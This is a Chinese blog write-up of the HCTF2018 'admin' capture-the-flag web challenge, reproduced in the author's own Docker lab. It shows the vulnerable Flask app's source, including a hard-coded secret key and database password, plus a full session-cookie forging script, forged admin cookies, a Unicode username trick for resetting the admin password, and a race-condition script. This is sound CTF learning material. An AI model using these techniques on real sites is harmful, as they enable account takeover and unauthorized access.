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title: HCTF2018-admin
date: 2019-06-02 19:52:03
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• HCTF2018
• CTF复现
• flask session伪造
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HCTF2018 Web题admin复现，把三种解法都试了下

前言

在github上找到一些CTF web题的docker，准备拿来复现学习学习。专门搞了个腾讯云学生机搭docker。
题目github地址:
https://github.com/m0xiaoxi/CTF_Web_docker
https://github.com/CTFTraining/CTFTraining

这题是HCTF2018里的admin

审题

docker搭好后，访问一下题目，理一下系统结构，如下图。

image

简单测试一圈下来，发现有login、register功能，随便注册一个账号然后登录，发现登录上去后有post、change password、logout功能。

image

然后在index页面源码发现提示，you are not admin，估计题目是让我们登录成admin，然后出flag，于是想到change password功能，可能可以通过改密码功能的漏洞改掉admin密码，然后以admin登录。

image

于是跳到change password页面，看看有没有进一步的发现，也是在网页源代码处发现了提示，这个提示直接把网站项目的github地址给了出来。

image

于是顺藤摸瓜，去github上找一下网站源码，然后进行代码审计。github地址:https://github.com/woadsl1234/hctf_flask
代码结构简单如下图

image

是一个flask项目，那就直接先奔路由去看一下，打开route.py，看一下index的注册函数代码

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

发现index注册函数没做什么处理，直接返回index.html渲染模版，于是我们看一下templates/index.html代码

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

发现真的是要登录成admin才能得到flag。于是继续看向route.py文件，看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

接下来就进入代码审计，出flag环节了，下面就把三种解法分别讲下。

解法一 —— flask session 伪造

flask的session是存储在客户端cookie中的，而且flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。
具体参考:https://www.leavesongs.com/PENETRATION/client-session-security.html

我们可以用python脚本把flask的session解密出来，但是如果想要加密伪造生成我们自己的session的话，还需要知道flask用来签名的SECRET_KEY，在github源码里找找，可以在config.py里发现下面代码

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

估计ckj123就是SECRET_KEY，所以session伪造这条路可行，于是到github上面找找看有没有flask session加密的脚本。

image

把脚本down下来，然后执行，脚本代码如下。flask_session_manager.py

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能，具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式，也就是session解密后的格式

解密功能演示如下，把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs，然后放进脚本参数位置，如下图。

image

得到解密后的session格式如下
{'_fresh': True, '_id': b'd4fb1018e2d755b05dc2163ec54429923444654de222c27ca8c8855643c55e1a47bfa0e1a50478a7952b1a899c81164ccebf8ea54087ad381b8563cb02de9fa2', 'csrf_token': b'8383dbf30b1cdfbf0f180c842975968ee3858874', 'image': b'F38w', 'name': 'miracle778', 'user_id': '10'}

把其中的name项的值改为admin后，再作为-t的参数进行session加密，如下图

image

得到签名后的admin session
.eJw9kE-LwjAQxb_KMmcP6R8vgoddoqXCJLSkleQiamubaeNCVepW_O6bdcHbgzfz4733gN1pqC8tLK7DrZ7BzlaweMDHARZgeO40rUZUbY8ui4QqLfKy01N6FyR6PRVM8HQuVToJnjFBBTNJ8YO0IaSKtGpJ8iYQSjMMMRDb4q5VFmlnWkz-dDEKfoy1Os6F2ljcrmKpev-z8vycdFhaQ23v7xjyJtLbbJJ8bSUvQgyFz7LpjOqdVukSnjM4XobT7vrd1ed3BckxxjD3GBw1rckkxusvh6oZ9dQwpM7X6kKZlD1OTeDjRuJz-cJZt2_qNyknjKvx3znvnTdgXzl7hhncLvXw2g0CBs9fJX1ssA.XPPSPQ.UZ-MG3ZUrN4nJzOXIsfjGdeiyLc

用这个替换掉index页面的cookie值，即可成功伪造session，"变成admin"，得到flag

image

关于这个脚本，其实在运行的时候，我发现了点问题，就是当你解密的时候，要用到 -s -c两个参数，linux下，可以用'或"包围，而windows下只能用"，否则会报错。然后加密的话，windows能够生成加密后的session，但是用它来替换掉index页面的session的话不起作用(亲测)，一开始我在windows下面试的，结果一致出不来flag，后面突然想到用linux试一下，才发现这个问题(2333)。然后每次加密生成的session是不一样的，猜测应该是里面加入了时间戳信息。

然后其实加密的时候 -t参数没必要写这么长，我们可以看到index.html里代码是，只要session['name']==admin即可，所以我们可以用
python flask_session_manager.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"
生成session，eyJfZnJlc2giOmZhbHNlLCJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMTAifQ.XPPVVw.PEoVwVpFka6CBxToJEUY2s7ydLE
也能得到flag。

解法二 —— Unicode欺骗

这个解法好像才是这个题目想要考查的点，我们可以发现，不管是login、register还是change页面，只要是关于session['name']的操作，都先用了strlower函数将name转成小写，但是python中有自带的转小写函数lower，这里重写了一个，可能有点猫腻，于是找到strlower函数的定义

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里用到了nodeprep.prepare函数，而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep，在requirements.txt文件中，发现这里用到的twisted版本是Twisted==10.2.0，而官网最新版本为19.2.0(2019/6/2)，版本差距这么大，估计是存在什么漏洞，于是搜索一下nodeprep.prepare，找到一篇unicode安全的文章，https://paper.tuisec.win/detail/a9ad1440249d95b

这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A，而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话，后台代码调用一次nodeprep.prepare函数，把用户名转换成Admin，我们用ᴬdmin进行登录，可以看到index页面的username变成了Admin，证实了我们的猜想，接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

image

我们发现在改密码函数代码里，也用到了nodeprep.prepare函数，也就是说，我们在这里改密码的话，先会把username改为admin，从而改掉admin的密码。

image

然后用admin和改的密码的登录，即可获取flag。

image

解法三 —— 条件竞争

仔细观察源码，可以发现login函数和change函数都在没有完全check身份的情况下，执行了session有关的赋值

image

我们可以这样设想，一个进程以正常账号一直依次进行登录、改密码操作，另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时，进程2进行到登录操作，这个时候进程1需要从session中取出name，而进程2此时把session['name']改成了admin。

所以就可以编写脚本进行条件竞争，条件竞争结束的标志为进程2登录操作成功，即重定向到/index。

不过没有跑出来，可能是买的学生机性能不行，脚本跑的时候抛出拒绝连接、连接失败等异常。没跑出来，但是思路应该是正确的。下面就把代码贴下吧，这个代码也是参考来了，就那几步，可能代码也不行，导致没跑出来。

import threading
import requests
import time

def login(s,username,password):
    data = {
        'username':username,
        'password':password,
        'submit':''
    }
    r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
    return r

def logout(s):
    s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
    data = {
        'newpassword':newpass
    }
    s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
    try:
        login(s,'Miracle778','Miracle778')
        change_pwd(s,'Miracle778')
    except Exception:
        pass

def func2(s):
    try:
        logout(s)
        r = login(s,'admin','Miracle778')
        if '<a href="/index">/index</a>' in r.text:
            print(r.text)
            exit(0)
    except Exception:
        pass

for i in range(10000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1,args=(s,))
    t2 = threading.Thread(target=func2,args=(s,))
    t2.start()
    t1.start()

小结

这道题三种解法，学到东西挺多的，以后要多多复现经典题目2333~

参考

https://www.anquanke.com/post/id/164086#h3-13

作者：Miracle778
链接：https://www.jianshu.com/p/f92311564ad0
来源：简书
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